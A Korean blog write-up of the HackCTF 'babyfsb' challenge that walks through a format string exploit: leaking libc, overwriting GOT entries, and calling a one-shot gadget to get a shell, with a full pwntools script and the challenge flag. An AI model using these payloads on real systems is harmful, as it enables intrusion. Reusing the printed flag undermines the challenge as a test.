ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • babyfsb
    CTF/HackCTF 2021. 2. 5. 05:26

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        undefined8 uVar1;
        int64_t in_FS_OFFSET;
        char *format;
        int64_t canary;
        
        canary = *(int64_t *)(in_FS_OFFSET + 0x28);
        setvbuf(_reloc.stdout, 0, 2, 0);
        puts("hello");
        read(0, &format, 0x40);
        printf(&format);
        uVar1 = 0;
        if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
            uVar1 = __stack_chk_fail();
        }
        return uVar1;
    }

    main은 read로 0x40바이트만큼 입력받아 이를 printf로 출력하기 때문에 포맷 스트링 버그가 발생한다.

    Format String Bug


    system 함수나 syscall 명령어가 없기 때문에 라이브러리 주소를 알아낼 필요가 있다.

     

    __libc_start_main

    main 함수는 __libc_start_main으로부터 호출되었기 때문에 rsp에 그 주소가 저장되어 있다. 따라서 FSB를 이용해 libc address leak이 가능하다.

     

    공격을 이어나가기 위해서는 read와 printf를 통한 포맷 스트링 버그를 지속적으로 이용할 필요가 있다. SSP가 적용되어 있으므로 __stack_chk_fail 함수를 호출하는 과정을 이용하자. __stack_chk_fail의 got를 main의 주소로 덮어쓰고 입력을 통해 카나리를 고의적으로 훼손하면 main을 반복해서 호출할 수 있다.

    payload = b"%15$lx\x90\x90"
    payload += fmtstr_payload(7, {ssp_got: main}, numbwritten = 14)
    payload += b"\x90"*(0x40-len(payload))
    
    p.recvuntil("hello\n")
    p.send(payload)
    
    libc_start_main = int(p.recv(12), 16) - 240
    libc = libc_start_main - l.symbols["__libc_start_main"]
    
    log.info("libc : " + hex(libc))

    rsp를 알아내기 위해 %15$lx를 payload 앞에 넣어주고 offset을 6에서 7로 늘려주었다. 또한 %lx로 출력되는 주소가 12자리, padding을 위해 넣어준 \x90이 2자리의 출력을 차지하므로 numbwritten에는 14를 넣어주었다.

     

    또한 libc_start_main이 main을 호출하는 부분의 offset은 라이브러리 버전에 따라 다르지만 보통 +240 또는 +243이다. libc base address는 마지막 바이트가 항상 0이라는 점을 이용하면 정확한 offset을 계산할 수 있다.

     

    라이브러리 주소를 알아냈으니 system("/bin/sh")를 호출해도 되고, oneshot gadget을 이용해도 된다. 먼저 oneshot gadget의 constraints를 살펴보자.

     

    main이 반복해서 호출될 때마다 rsp가 0x50만큼 감소한다는 점과 read를 통해 스택에 원하는 값을 써넣을 수 있음을 이용하면 조건을 만족할 수 있으므로 oneshot gadget을 이용하자.

     

    이때 특정 함수의 got를 oneshot으로 덮으려고 하면 0x40바이트라는 버퍼 크기의 제약을 받게 된다. 따라서 main에서 호출되지 않는 libc_start_main 함수의 got를 oneshot으로 1바이트씩 나눠서 덮은 뒤, 이를 이용해 공격을 진행할 것이다.

    for i in range(8):
    	payload = fmtstr_payload(6, {libc_start_main_got+i: u8(p64(oneshot)[i:i+1])}, write_size = 'byte')
    	payload += b"\x90"*(0x40-len(payload))
    	payload = payload.replace(b"lln",b"hhn",1)
    	p.recvuntil("hello\n")
    	p.send(payload)

    pwntools의 fmtstr 함수들은 write_size를 byte로 설정해도 %hhn이 아니라 %lln을 사용해 원하지 않는 영역까지 덮어버리는 경우가 있으므로 replace를 통해 변환해주자.

    payload = b"\x00"*0x40
    
    p.recvuntil("hello\n")
    p.send(payload)
    
    payload = b"/bin/sh\x00"
    payload = fmtstr_payload(6, {ssp_got: libc_start_main_plt})
    payload += b"\x90"*(0x40-len(payload))
    
    p.recvuntil("hello\n")
    p.send(payload)

    마지막으로 스택을 null바이트로 채워 가젯의 조건을 만족시킨 다음, __stack_chk_fail의 got를 libc_start_main의 plt로 덮어씀으로써 oneshot을 호출하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./babyfsb"
    lib = "./libc.so.6"
    server = "ctf.j0n9hyun.xyz"
    port = 3032
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    main = e.symbols["main"]
    ssp_got = e.got["__stack_chk_fail"]
    libc_start_main_plt = e.plt["__libc_start_main"]
    libc_start_main_got = e.got["__libc_start_main"]
    
    payload = b"%15$lx\x90\x90"
    payload += fmtstr_payload(7, {ssp_got: main}, numbwritten = 14)
    payload += b"\x90"*(0x40-len(payload))
    
    p.recvuntil("hello\n")
    p.send(payload)
    
    libc_start_main = int(p.recv(12), 16) - 240
    libc = libc_start_main - l.symbols["__libc_start_main"]
    
    log.info("libc : " + hex(libc))
    
    oneshot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    oneshot = libc + oneshot_offset[2]
    
    for i in range(8):
    	payload = fmtstr_payload(6, {libc_start_main_got+i: u8(p64(oneshot)[i:i+1])}, write_size = 'byte')
    	payload += b"\x90"*(0x40-len(payload))
    	payload = payload.replace(b"lln",b"hhn",1)
    	p.recvuntil("hello\n")
    	p.send(payload)
    
    payload = b"\x00"*0x40
    
    p.recvuntil("hello\n")
    p.send(payload)
    
    payload = b"/bin/sh\x00"
    payload = fmtstr_payload(6, {ssp_got: libc_start_main_plt})
    payload += b"\x90"*(0x40-len(payload))
    
    p.recvuntil("hello\n")
    p.send(payload)
    
    p.recv()
    
    p.interactive()

    Flag

    HackCTF{v3ry_v3ry_345y_f5b!!!}

    'CTF > HackCTF' 카테고리의 다른 글

    Pwning  (0) 2021.02.05
    Unexploitable #3  (0) 2021.02.05
    Unexploitable #2  (0) 2021.02.05
    RTC  (0) 2021.02.05
    Register  (0) 2021.02.04

    댓글

Designed by Tistory.